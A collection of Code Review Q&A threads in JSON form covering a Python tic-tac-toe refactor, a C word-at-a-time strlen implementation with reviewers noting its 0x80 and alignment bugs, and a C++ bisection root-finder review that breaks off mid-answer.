href=\"https://docs.scipy.org/doc/numpy/reference/generated/numpy.concatenate.html#numpy.concatenate\" rel=\"nofollow noreferrer\"><code>np.concatenate</code></a> and builtin <a href=\"https://docs.python.org/3/library/functions.html#any\" rel=\"nofollow noreferrer\"><code>any</code></a> functions, though may seem less readable but quite viable for those who likes concise/compact code:</p>\n\n<pre><code>def check_for_win(board):\n def row_crossed(row):\n return '0' not in row and len(set(row)) == 1\n\n a = np.array(board).reshape(3, 3)\n\n if row_crossed(a.diagonal()) \\\n or row_crossed(np.fliplr(a).diagonal()) \\\n or any(row_crossed(row) for row in np.concatenate([a, a.transpose()])):\n return True\n\n return False\n</code></pre>\n\n<hr>\n\n<p>Minor \"refinements\":</p>\n\n<ul>\n<li><code>for matr in (a, a.transpose())</code> looks a bit more \"connected\" than <code>for matr in (a, np.transpose(a)):</code></li>\n<li><p>optionally, to reduce typing misses of <code>codes = ('c1', 'c2', 'c3', 'b1', 'b2', 'b3', 'a1', 'a2', 'a3')</code> - a good alternative is:</p>\n\n<pre><code>codes = tuple(map(''.join, itertools.product('cba', '123')))\n</code></pre></li>\n</ul>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T19:37:12.183", "Id": "231852", "ParentId": "231844", "Score": "5" } }, { "body": "<p>I see you've removed the bugs. Good job. Let's clean it up some more.</p>\n\n<h2>Zero -vs- Naught</h2>\n\n<p>It is a little disconcerting to read the code and see <code>'0' not in board</code> or <code>if board[idx] == '0'</code>. It looks like it is hard-coded checks for the \"Naughts\" player, when it is in fact, a check for an empty square. <code>'0'</code> and <code>'O'</code> are not all that different in certain fonts.</p>\n\n<p>It could be an improvement to change identifier of the empty squares. But what to change it to?</p>\n\n<p>A space comes to mind. It looks empty, just like the square. More over,</p>\n\n<pre><code>print(\"\"\"\n ... omitted ...\n\"\"\".format(*list(x if x != '0' else ' ' for x in board)))\n</code></pre>\n\n<p>could be reduced to:</p>\n\n<pre><code>print(\"\"\"\n ... omitted ...\n\"\"\".format(*list(x for x in board)))\n</code></pre>\n\n<p>since the empty indicator would already be a space. And since <code>board</code> is already a <code>list</code>, this could further reduce to:</p>\n\n<pre><code>print(\"\"\"\n ... omitted ...\n\"\"\".format(*board))\n</code></pre>\n\n<p>which is a definite win.</p>\n\n<h2>Deconstructing Assignment</h2>\n\n<p>What does this statement do, in 7 words or less?</p>\n\n<pre><code>turn, user = 1, 'X' if bool(randint(0, 1)) else 'O'\n</code></pre>\n\n<p>I can't come up with one 7 word sentence, but perhaps you can. If so, same question for this statement:</p>\n\n<pre><code>board, codes, turn, user = ['0'] * 9, ('c1', 'c2', 'c3', 'b1', 'b2', 'b3',\n 'a1', 'a2', 'a3'), turn, user = 1, 'X' if bool(randint(0, 1)) else 'O'\n</code></pre>\n\n<p>It is similar to the previous statement, in that a couple of variables on the left are being assigned values from the right. The problem is none of these variables are related to each other. If you have an XYZ coordinate, using <code>x, y, z = 0, 1, 2</code> can be reasonable, but for unrelated concepts, use separate statements:</p>\n\n<pre><code>turn = 1\nuser = 'X' if bool(randint(0, 1)) else 'O'\n</code></pre>\n\n<h2>Cohesive Code</h2>\n\n<p>There are 21 lines between <code>code = input().strip().lower()</code> and <code>print(\"Hmm, that's not a valid input.\")</code>. Between those lines, we have a check for a win by either player, a check for a draw game, code to switch players, and code to increment the turn number. Because the code for these things is only valid when the move is valid, 4 levels of indenting are needed.</p>\n\n<p>The <code>while True</code> loop is doing double duty. It is looping once for each turn of the game, where the state of the game changes, and once for each invalid input, where the state of the game doesn't change.</p>\n\n<p>Code is more cohesive when related lines of code near one another. So the code should be organized more like:</p>\n\n<pre><code>while True:\n # get and validate move\n # update board\n # display new board\n # check for win or draw game\n # switch players\n # increment turn number\n</code></pre>\n\n<p>This also reduces the amount of indentation you need in the code, which is sometimes called \"left-leaning\" code.</p>\n\n<p>The \"get and validate move\" will have its own loop. It could be written in place, but it might be better moved to its own function:</p>\n\n<pre><code>def get_player_move(board, user):\n\n print(f'Player {user}: ')\n\n while True:\n code = input().strip().lower()\n\n if code in CODES:\n idx = CODES.index(code)\n\n if board[idx] == ' ':\n return idx\n\n print('Whoops! You need to pick an empty space.')\n\n else:\n print(\"Hmm, that's not a valid input.\") \n</code></pre>\n\n<h2><code>if turn &gt;= 5:</code></h2>\n\n<p>What is this <code>5</code>, and where did it come from?</p>\n\n<p>Ok, in playing Naughts and Crosses, you win by getting 3 of your symbol in a row. Since you can only place one symbol per turn, and you take turns with another player, you can't possibly win before turn 5.</p>\n\n<p>But do you really need to check that? The code would work perfectly without that check. The amount of work the check saves is minimal. More over, if you wanted to change this to a 3 player game, or play on a larger grid and get more than 3 in row, etc., the check would need to be changed.</p>\n\n<p>Perhaps better is to remove the check altogether. It doesn't save enough work to call out as a special case.</p>\n\n<h2>Draw Game</h2>\n\n<p>Again, Naughts and Crosses is a game is played until someone wins, or until no moves are left. With 9 spaces to play in, there can be at most 9 turns. This leads to a different formulation of the \"draw game\" detection.</p>\n\n<p>Instead of:</p>\n\n<pre><code>while True:\n ... omitted ...\n if check_for_win(board):\n print(f'{user} won in {turn} turns! Congratulations!')\n break\n elif '0' not in board:\n print(\"Aw, it's a draw!\")\n break\n</code></pre>\n\n<p>you could use a <code>for ... else</code> loop:</p>\n\n<pre><code>for _ in range(9):\n ... omitted ...\n if check_for_win(board):\n print(f'{user} won in {turn} turns! Congratulations!')\n break\nelse:\n print(\"Aw, it's a draw!\")\n</code></pre>\n\n<p>What is happening here?</p>\n\n<p>If the <code>for</code> loop execution runs to completion, the <code>else:</code> clause at the end of the loop is executed. If the <code>for</code> loop execution is interrupt by a <code>break</code>, the loop terminates and the <code>else:</code> clause is not executed. This is pattern is usually used in a search, where you loop over something until you find the desired item, and if you don't find it you do something \"else\", but it works just as well here, where you play until a win, or there are no more moves.</p>\n\n<p>The <code>9</code> isn't quite as magic as the <code>5</code> was, but we can still get rid of it. It is the number of moves which can be made, which is the size of the board. At the same time, we can absorb the <code>turn</code> variable into the for-loop.</p>\n\n<pre><code>for turn in range(1, len(board) + 1):\n ... omitted ...\n if check_for_win(board):\n print(f'{user} won in {turn} turns! Congratulations!')\n break\nelse:\n print(\"Aw, it's a draw!\")\n</code></pre>\n\n<h2><code>numpy</code>, <code>scipy</code>, and bitwise operators</h2>\n\n<p>While you are hoping for optimizations utilizing <code>numpy</code>, <code>scipy</code> or bitwise operators, these are the wrong tools for the job.</p>\n\n<p>I held my tongue in my previous review, but your code could be made much simpler without <code>numpy</code>.</p>\n\n<p>First, consider what does the following condition do?</p>\n\n<pre><code>' ' not in row and len(set(row)) == 1\n</code></pre>\n\n<blockquote>\n <p>First, it ensures that the row doesn't contain any empty cells, and then it forms a <code>set</code> of the contents of the cells, removing duplicates, and if the <code>row</code> contained only 1 symbol (which is not the empty symbol), we have found a winning row.</p>\n</blockquote>\n\n<p>That is a mouthful to describe. What is the winning condition for the game?</p>\n\n<blockquote>\n <p>A row (or column or diagonal) with 3 of the same symbols.</p>\n</blockquote>\n\n<p>That sounds way simpler. If you pass <code>user</code> to the <code>check_for_win</code> function, then the winning condition would be <code>[user, user, user]</code> found in a row (or column, or diagonal).</p>\n\n<pre><code>winning_pattern = [user] * 3\n...\n if row == winning_pattern:\n return True\n...\n</code></pre>\n\n<p>No expensive <code>set()</code> construction. No weird testing the length of the set.</p>\n\n<p>And now to get rid of <code>numpy</code>. With 3 rows, 3 columns, and 2 diagonals, all we need are 8 slices of the board. And a <code>slice</code> is a first class object in Python:</p>\n\n<pre><code>ROWS = (slice(0, 3, 1), slice(3, 6, 1), slice(6, 9, 1),\n slice(0, 9, 3), slice(1, 10, 3), slice(2, 11, 3),\n slice(0, 12, 4), slice(3, 9, 2))\n\ndef check_for_win(board, user):\n\n winning_pattern = [user] * 3\n\n return any(board[row] == winning_pattern for row in ROWS)\n</code></pre>\n\n<h2>Refactored Code</h2>\n\n<pre><code>from random import randint\n\n\nCODES = ('c1', 'c2', 'c3', 'b1', 'b2', 'b3', 'a1', 'a2', 'a3')\n\nROWS = (slice(0, 3, 1), slice(3, 6, 1), slice(6, 9, 1),\n slice(0, 9, 3), slice(1, 10, 3), slice(2, 11, 3),\n slice(0, 12, 4), slice(3, 9, 2))\n\n\ndef print_board(board):\n print(\"\"\"\n +---+---+---+\nc | {} {} {} |\n + + + +\nb | {} {} {} |\n + + + +\na | {} {} {} |\n +---+---+---+\n 1 2 3\n\"\"\".format(*board))\n\n\ndef check_for_win(board, user):\n\n winning_pattern = [user] * 3\n\n return any(board[row] == winning_pattern for row in ROWS)\n\n\ndef get_player_move(board, user):\n\n print(f'Player {user}: ')\n\n while True:\n code = input().strip().lower()\n\n if code in CODES:\n idx = CODES.index(code)\n\n if board[idx] == ' ':\n return idx\n\n print('Whoops! You need to pick an empty space.')\n\n else:\n print(\"Hmm, that's not a valid input.\") \n\n\ndef tic_tac_toe():\n\n board = [' '] * 9\n user = 'X' if bool(randint(0, 1)) else 'O'\n\n print(f'Welcome! First to play is {user}!')\n print_board(board)\n\n for turn in range(1, len(board) + 1):\n idx = get_player_move(board, user)\n\n board[idx] = user\n print_board(board)\n\n if check_for_win(board, user):\n print(f'{user} won in {turn} turns! Congratulations!')\n break\n\n user = 'X' if user == 'O' else 'O'\n\n else:\n print(\"Aw, it's a draw!\")\n\n\nif __name__ == '__main__':\n tic_tac_toe()\n</code></pre>\n\n<p>Despite adding 2 more functions, the code is 9 lines shorter (ignoring blank lines).</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-06T02:56:38.070", "Id": "452605", "Score": "1", "body": "\"Assign turn and the first moving player.\" :p" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-06T03:01:55.140", "Id": "452606", "Score": "1", "body": "My English teacher would be appalled, but “good job.” And your seven words for the second part of the question?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-06T03:05:44.840", "Id": "452608", "Score": "1", "body": "\"All the variables get their corresponding assignments.\" ;)" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-06T03:11:57.123", "Id": "452609", "Score": "1", "body": "“I think you’ve omitted several salient details.”" } ], "meta_data": { "CommentCount": "4", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-06T02:45:25.240", "Id": "231929", "ParentId": "231844", "Score": "3" } } ]
{ "AcceptedAnswerId": "231929", "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T17:51:36.243", "Id": "231844", "Score": "5", "Tags": [ "python", "python-3.x", "numpy", "tic-tac-toe" ], "Title": "Back to Basics: Tic Tac Toe - follow-up" }
231844
<p>I've translated an <a href="https://codereview.stackexchange.com/questions/210689/strlen-and-strcmp-implementation-in-x86-fasm-assembly/213558#213558">implementation of strlen in x86 assembly</a> to C and added alignment checking:</p> <pre><code>#include &lt;strings.h&gt; #include &lt;string.h&gt; #include &lt;stdint.h&gt; #define NOT_HIGH_MASK 0x080808080 #define HIGH_MASK 0x7f7f7f7f #define LOW_MASK 0x01010101 #define mul4(x) ((x) &lt;&lt; 2) #define div8(x) ((x) &gt;&gt; 3) size_t strlen(const char *str) { const char *cptr = str; uint32_t i, *s; size_t ctr = 0; /* Satisfy alignment requirements */ while((uintptr_t)cptr &amp; (sizeof(uint32_t)-1)) { if(!*cptr) return cptr - str; cptr++; } s = (uint32_t *)cptr; do { i = s[ctr]; /* Mask off high bit */ i &amp;= HIGH_MASK; /* subtract 0x01 from each byte, giving a set high bit if it was zero */ i -= LOW_MASK; ctr++; /* Test for the set high bit and if it is found exit */ } while(!(i &amp;= NOT_HIGH_MASK)); /* Find the first high bit set and create the corresponding byte index */ i = div8(ffs(i)); /* Remove the counter increment from the loop and multiply it by 4 to find the rest of the byte index */ ctr = mul4(ctr - 1); /* Return the combined byte index with 1 removed so it doesn't include the null terminator itself */ return i + ctr - 1; } </code></pre> <p>I'm looking for general critique, but I'd also like additional information in these areas:</p> <ul> <li><p>Portability. Is this portable? Will it work on all common platforms (x86, arm, etc.) and possibly some uncommon ones?</p></li> <li><p>Comments. The comments I've put here seem to already document the code well enough, but is there any additional information I could add?</p></li> <li><p>Hidden Bugs. This definitely works (and has a noticeable improvement in speed), but are there any hidden bugs relating to alignment requirements or otherwise (such as extended ASCII)? For context, this is part of a standard C/POSIX library implementation.</p></li> </ul> <p>I might note that I'm relying on my header to use the builtin version of <code>ffs</code>. This may be an issue on non-GNU compilers.</p> <p>If a GCC-compatible compiler (gcc, clang, icc, etc.) is detected during the build process, the flags <code>-std=gnu99 -O2</code> are appended to the build flags.</p>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-07T20:43:22.320", "Id": "452860", "Score": "0", "body": "By the way, shouldn't `cptr - str` appear in the calculations after the main loop as well?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-07T21:13:34.797", "Id": "452863", "Score": "0", "body": "@harold Oh, of course. That explains the issue I was having. Thank you." } ]
[ { "body": "<p>You cannot write this kind of code in standard C. It will have to be library-level code compiled with non-standard extensions.</p>\n\n<p>Notably, <code>s = (uint32_t *)cptr;</code> is a strict aliasing violation. It invokes undefined behavior and may cause strange, subtle bugs during optimization etc. In order to get this to work reliably, you have to use non-standard options such as <code>gcc -fno-strict-aliasing</code>.</p>\n\n<p>When dereferencing the pointed-at string as <code>uint32_t</code> you must also ensure that the 32-bit access doesn't go out of bounds of the allocated array.</p>\n\n<p>Pedantically, you should cast the result of <code>ffs</code> to <code>uint32_t</code>, because it returns an <code>int</code> type which is signed and you don't want to bit shift signed numbers, even though it will always be positive in this specific case. I'd probably rewrite the macros more type-safe, along the lines of this:</p>\n\n<pre><code>#define mul4_32(x) ((uint32_t)(x) &lt;&lt; 2)\n</code></pre>\n\n<p>Or, if C11 is an option:</p>\n\n<pre><code>#define mul4(x) _Generic((x), uint32_t: (x) &lt;&lt; 2)\n</code></pre>\n\n<p>In either case it shouldn't affect performance.</p>\n\n<p>Also please note that <code>ffs</code> and <code>strings.h</code> are POSIX but not standard C.</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T12:04:35.417", "Id": "452477", "Score": "1", "body": "I could've sworn that I said \"For context, this is part of a standard C library implementation.\"" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T12:06:03.897", "Id": "452480", "Score": "0", "body": "@JL2210 Yeah but you never mention compiler options, so I have to assume standard C." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-07T20:29:47.553", "Id": "452857", "Score": "0", "body": "I've added a small clarification to the question. It doesn't seem as if strict aliasing affects this at all..." } ], "meta_data": { "CommentCount": "3", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T12:01:58.257", "Id": "231882", "ParentId": "231845", "Score": "2" } }, { "body": "<p><strong>Bug</strong></p>\n\n<p><code>strlen(\"\\x80\\x80\\x80\\x80\\x80\\x80\\x80\")</code> does not return the expected 7. The <code>do</code> loop does not distinguish between <code>'\\0'</code> and <code>'\\x80'</code>.</p>\n\n<p><code>strlen(\"\\x80\\x80\\x80\")</code> returns 0, 1, 2 or 3 depending on alignment.</p>\n\n<p>These render the function broken.</p>\n\n<p><strong>Why <code>int32_t</code>?</strong></p>\n\n<p>Certainly <code>int32_t*</code> marches down the sting at a 4x clip rather than a plodding <code>char *</code>. Yet for a 16-bit <code>int</code> machine, <code>int32_t*</code> may be slower. For a 64-bit machine, <code>int64_t*</code> could even be faster. I'd expect a <code>unsigned *</code> to work fast or even fastest. I guess that is why <code>strlen()</code> is a library function - each implementation is expected to use its own optimal approach.</p>\n\n<p><strong>Minor: Clearly use unsigned mask constants</strong></p>\n\n<p>With bit masking, shifts and subtraction, using unsigned math has less review concerns.</p>\n\n<p><code>0x01010101</code> --> <code>0x01010101u</code>.</p>\n\n<p><strong>Portability</strong></p>\n\n<p><code>while(... &amp; (sizeof(uint32_t)-1))</code> is a reasonable alignment test but not a <em>specified</em> correct one. Conversion of a pointer to an integer need not follow the usual linear expectations. I do not know of any implementation where this will not work, but it is not C specified.</p>\n\n<p>Notes:<br>\n<code>uint32_t</code> is an optional type. A <a href=\"https://codereview.stackexchange.com/q/215113/29485\">unicorn</a> platform may not have it defined.<br>\n<code>uintptr_t</code> is also an <em>optional</em> type.</p>\n\n<p>Could use something like </p>\n\n<pre><code>#include &lt;stdint.h&gt;\n#ifndef UINTPTR_MAX\n #error \"You are kidding me? An implementation without uintptr_t!\" \n#endif\n</code></pre>\n\n<p><strong>Comment nit</strong></p>\n\n<p><code>Mask off high bit</code> should be \"Mask off high bits\" or \"Mask off each byte high bit\", ...</p>\n\n<pre><code>/* Mask off high bit */\ni &amp;= HIGH_MASK;\n</code></pre>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-06T21:27:42.730", "Id": "452735", "Score": "0", "body": "I used `&`, not `&&`. The cast to `uintptr_t` was intentional." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-06T21:55:31.397", "Id": "452740", "Score": "0", "body": "@JL2210 I see the single `&`. (Amended answer as part of the answer did act like `&&` - that part was in error) The cast to `uintptr_t` does not yield a _specified_ value in which bit-wise adding with `(sizeof(uint32_t)-1))` results is a specified alignment test. AFAIK, this is no _specified_ alignment test." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-07T09:25:35.903", "Id": "452777", "Score": "0", "body": "That's a really opaque way to do alignment; I don't like the assumption that `sizeof (uint32_t)` must be a power of two. One can imagine an (admittedly not \"common\") implementation with `CHAR_BIT == 12`, and `sizeof (uint32_t) == 3`. C++ has `std::align()`; it might be worth creating a similar function here." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-07T11:15:55.527", "Id": "452790", "Score": "1", "body": "@TobySpeight `CHAR_BIT == 12, sizeof (uint32_t) == 3` is not possible: `uint32_t` cannot have padding. `sizeof (uint32_t)` must be a power of two. With `CHAR_BIT == 12`, The _optional_ type `uint32_t` cannot be defined. Yet the larger issue is that an aligned pointer, when converted to an integer, is not _specified_ to a value with lower bits of 0. That is just common implementation. Exotic example per OP's \"possibly some uncommon ones?\": the least significant bit of the `(uintptr_t)cptr` could be the parity of the address - not useful for determining alignment." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-07T17:33:43.693", "Id": "452841", "Score": "0", "body": "I feared this when I wrote the code. I'll keep working on it." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-07T19:23:23.053", "Id": "452851", "Score": "0", "body": "@JL2210 Perhaps form a helper function/macro to assess alignment. I'd expect your initial approach to be fine for 99+% of systems." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-07T20:26:51.767", "Id": "452856", "Score": "0", "body": "@chux-ReinstateMonica For some reason, the results differ between `char s[]=\"It works!\"; strlen(s);` and `char *s=\"It works!\"; strlen(s);`. Do you have any idea why?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-07T21:08:33.947", "Id": "452861", "Score": "0", "body": "@JL2210 Different aliments. Print their pointer values." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-07T21:25:53.807", "Id": "452864", "Score": "0", "body": "@chux-ReinstateMonica Ah, figured it out. I forgot to add `cptr-str` in at the end." } ], "meta_data": { "CommentCount": "9", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-06T19:54:29.803", "Id": "231975", "ParentId": "231845", "Score": "4" } }, { "body": "<p>As noted, the zero detection trick would also detect any 0x80 bytes (€ in CP1252, various different characters in UTF-8 contain 0x80 as continuation byte, for example Hiragana mu: む = \"\\xE3\\x82\\x80\") as if they were zero-terminators. There are slightly more expensive \"contains zero byte\" checks that avoid this, for example (sprinkle with parenteses as desired):</p>\n\n<pre><code>i = i - LOW_MASK &amp; ~i &amp; NOT_HIGH_MASK;\n</code></pre>\n\n<p>That replaces 3 operations from the original, so it's not <em>that</em> costly, and additionally it could be used as fallback test after the simpler test thinks it has found a zero (though that is not favourable for strings with many 0x80 in them). It's not a straight upgrade, so it's for you to weigh the trade-off.</p>\n\n<p>This uses the definition <code>#define NOT_HIGH_MASK 0x80808080</code> as used in this question, not <code>HIGH_MASK = 0x80808080</code> as may be expected.</p>\n\n<p>This trick operates on the same basic principle as the trick in the question: subtracting 1 from 0 sets the high bit of that byte, because it can borrow all the way through, but any set bit would stop the borrow from reaching the top. However, it fixes the problem of \"what if the top bit was already set\" by ANDing with <code>~i</code> afterwards, rather than by ANDing with <code>HIGH_MASK = 0x7f7f7f7f</code> beforehand (which also turns 0x80 into zero).</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-07T18:17:08.657", "Id": "452842", "Score": "0", "body": "That solution doesn't work. Now it gives 7 for a string like `\"\\x80It works!\"`." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-07T18:35:59.790", "Id": "452844", "Score": "0", "body": "@JL2210 it correctly detects zeroes." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-07T18:37:04.367", "Id": "452845", "Score": "0", "body": "Mine correctly detects zeroes too." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-07T18:37:50.203", "Id": "452846", "Score": "0", "body": "@JL2210 OK then let me restate that: it correctly detects zeroes and *only* zeroes." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-07T19:37:18.700", "Id": "452853", "Score": "1", "body": "`i - LOW_MASK & ~i & NOT_HIGH_MASK` appears to evaluate as `((i - LOW_MASK) & (~i)) & NOT_HIGH_MASK`. Is that your intent?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-07T19:48:14.367", "Id": "452855", "Score": "1", "body": "@chux-ReinstateMonica yes, the [original](http://graphics.stanford.edu/~seander/bithacks.html#ZeroInWord) had parentheses around the subtraction but they are redundant." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-07T20:34:08.950", "Id": "452858", "Score": "0", "body": "That `0x080808080` was a typo. I've corrected it to `0x80808080` in my local copy." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-07T20:36:22.343", "Id": "452859", "Score": "0", "body": "...along with that I mixed up `NOT_HIGH_MASK` with `HIGH_MASK`. I've fixed that too, thank you." } ], "meta_data": { "CommentCount": "8", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-07T17:30:54.230", "Id": "232025", "ParentId": "231845", "Score": "2" } } ]
{ "AcceptedAnswerId": "231975", "CommentCount": "2", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T18:14:58.207", "Id": "231845", "Score": "8", "Tags": [ "c", "strings", "bitwise" ], "Title": "\"Fast strlen\" in C using scalar bithacks" }
231845
<p>I need to find a root of strictly monotonic function f (only raising or only lowering). There is only a one root of a function. If given range from <code>a</code> to <code>b</code> doesn't contain root (<code>fabs(f(a)*f(b)</code> is not lower or equal than 0), we need to change range, since the assumption is that there is a one root, so we need to move on x-axis to left or right and check again, if <code>f(a)</code>. If it is, then <code>(f)*f(b)</code> (e.g <code>(-3)*2=-6</code>, and that means there is a root between <code>a</code> and <code>b</code>).</p> <p>I've made an solution and I would like to improve performance in terms of changing ranges (obviously adding +2 is not good for huge functions) vs halving ranges further, when finding <code>f(c)</code>.</p> <ul> <li>What would be the best strategy?</li> <li>Also will there be any other problem to look on?</li> <li>What can I do to avoid user epsilon to be smaller than <code>DBL_EPSILON</code>?</li> <li>Any ideas to improve my code?</li> </ul> <pre><code>#include &lt;iostream&gt; #include &lt;cmath&gt; double f(double x) { //double y = std::pow(2, x) - 6; double y = x - 10000; return y; } bool isRaising(double a, double b) { if (f(a) &gt; f(b)) return false; return true; } bool areBothNumbersPositive(double a, double b) { if (f(a) &gt; 0 &amp;&amp; f(b) &gt; 0) return true; return false; } void moveLeft(double &amp;a, double &amp;b) { b = a; a = a - 2; } void moveRight(double&amp; a, double&amp; b) { a = b; b = b + 2; } void changeRanges(double &amp;a, double &amp;b) { if (!isRaising(a, b)) { if (areBothNumbersPositive(a, b)) { moveRight(a, b); } else { moveLeft(a, b); } } else { if (areBothNumbersPositive(a, b)) { moveLeft(a, b); } else { moveRight(a, b); } } } double findRoot(double a, double b, double epsilon) { if (epsilon &lt; DBL_EPSILON) epsilon = DBL_EPSILON; if (a == b) throw std::exception("Range must be higher than zero!"); double c; if (std::fabs(f(a)) &lt; epsilon) return a; if (std::fabs(f(b)) &lt; epsilon) return b; while (f(a) * f(b) &gt; 0) { changeRanges(a, b); } if (std::fabs(f(a)) &lt; epsilon) return a; if (std::fabs(f(b)) &lt; epsilon) return b; do { c = (a + b) / 2; if (f(a) * f(c) &gt; 0) a = c; else b = c; } while (!(std::fabs(f(c)) &lt; epsilon)); return c; } int main() { //f(a) * f(b) &gt; 0 std::cout &lt;&lt; findRoot(-100, -300, 0.00000000001) &lt;&lt; std::endl; std::cout &lt;&lt; findRoot(100, 300, 0.00000000001) &lt;&lt; std::endl; std::cout &lt;&lt; findRoot(-300, -100, 0.00000000001) &lt;&lt; std::endl; std::cout &lt;&lt; findRoot(300, 100, 0.00000000001) &lt;&lt; std::endl; //f(a) * f(b) &lt;= 0 std::cout &lt;&lt; findRoot(-100, 300, 0.00000000001) &lt;&lt; std::endl; std::cout &lt;&lt; findRoot(100, -300, 0.00000000001) &lt;&lt; std::endl; std::cout &lt;&lt; findRoot(300, -100, 0.00000000001) &lt;&lt; std::endl; std::cout &lt;&lt; findRoot(-300, 100, 0.00000000001) &lt;&lt; std::endl; } </code></pre>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-07T13:35:49.163", "Id": "452808", "Score": "0", "body": "are you asking for `f(x) = x - 10000` or any function `double f(double)` of which all you know is that it is monotonic?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-07T23:03:35.190", "Id": "452867", "Score": "0", "body": "Any function that is strictly monotonic (is always increasing or always decreasing), so it is guaranteed that it has any roots and only one root." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-08T06:31:07.743", "Id": "452898", "Score": "0", "body": "I know what it means for function to be monotonic. But in your code you Are only using the f function which Is defined as x - 10000. And you have no way to invoke your code over a differrent monotonic function other then changing the body of the f function. Thats why im asking if you only care about f the way it Is defined or you wanna be able to call it on any monotonic function taking double And returning double..." } ]
[ { "body": "<h3>1. Use established terms to make your code more readable to others</h3>\n\n<p>In this case, use \"increasing\" instead of \"raising\". In such a simple context it is quite obvious what you mean by \"raising\", but you would be surprised how much effort and how many misunderstandings you can save by using existing, well-known terms.</p>\n\n<p><br/></p>\n\n<h3>2. Give clear, unambiguous names to functions</h3>\n\n<p>When I see a function <code>areBothNumbersPositive(double a, double b)</code>, I assume it returns <code>a &gt; 0 &amp;&amp; b &gt; 0</code>. A more suitable name would be <code>areBothFuncValuesPositive(double a, double b)</code>, even though it's a bit longer.</p>\n\n<p><br/></p>\n\n<h3>3. Don't return <code>true</code> or <code>false</code> based on the value of a boolean expression, return the expression directly</h3>\n\n<pre><code>bool isIncreasing(double a, double b)\n{\n return f(a) &lt; f(b);\n}\n\nbool areBothFuncValuesPositive(double a, double b)\n{\n return f(a) &gt; 0 &amp;&amp; f(b) &gt; 0;\n}\n</code></pre>\n\n<p><br/></p>\n\n<h3>4. Duplicate code in <code>chageRanges</code> can be reduced</h3>\n\n<pre><code>void changeRanges(double &amp;a, double &amp;b) \n{\n if (isIncreasing(a, b) == areBothFuncValuesPositive(a, b))\n {\n moveLeft(a, b);\n }\n else\n {\n moveRight(a, b);\n }\n}\n</code></pre>\n\n<p>Although I must admit, this seems a bit confusing. Maybe it would be a good idea to define a function which would figure out whether to go left or right, and then use this function in the <code>if</code>. This might be an overkill in this simple case, but is quite commonly used with more complex boolean expressions.</p>\n\n<pre><code>bool shouldMoveLeft(double a, double b)\n{\n return (isIncreasing(a, b) &amp;&amp; areBothFuncValuesPositive(a, b))\n ||(isDecreasing(a, b) &amp;&amp; areBothFuncValuesNegative(a, b));\n}\n\nvoid changeRanges(double &amp;a, double &amp;b) \n{\n if (shouldMoveLeft(a, b))\n {\n moveLeft(a, b);\n }\n else\n {\n moveRight(a, b);\n }\n}\n</code></pre>\n\n<p><br/></p>\n\n<h3>5. Use functions where appropriate</h3>\n\n<p>Functions serve two main purposes: 1) code reuse; 2) conceptual abstraction. Even if you don't reuse them, they can make code more readable. For example, when you calculate <code>f(a) * f(b) &gt; 0</code>, what you really want to know is whether the function has the same sign at both values, and neither <code>f(a)</code> nor <code>f(b)</code> are zero.</p>\n\n<pre><code>bool areBothFuncValuesNonzeroSameSign(double a, double b)\n{\n return f(a) * f(b) &gt; 0;\n}\n</code></pre>\n\n<p>An even better idea would be to introduce the concept of a sign, and then build upon it (I copied the sign function from <a href=\"https://stackoverflow.com/a/4609795/6362349\">this SO answer</a>).</p>\n\n<pre><code>template &lt;typename T&gt; int sign(T val) {\n return (T(0) &lt; val) - (val &lt; T(0));\n}\n\nbool areBothNumbersSameSign(double x, double y)\n{\n return sign(x) == sign(y);\n}\n\nbool areBothNumbersNonzero(double x, double y)\n{\n return x != 0 &amp;&amp; y != 0;\n}\n\nbool areBothFuncValuesNonzeroSameSign(double a, double b)\n{\n const double\n fa = f(a),\n fb = f(b);\n\n return areBothNumbersNonzero(fa, fb) &amp;&amp; areBothNumbersSameSign(fa, fb);\n}\n</code></pre>\n\n<p>This is not as succinct and elegantly clever as your original code. But imagine it wasn't a single line, but an entire function / class / project written in such a clever way. Then you would likely have a bit of trouble understanding it when you come back to it after some time. It would be even more trouble for someone else who has never seen your code before and now has to understand 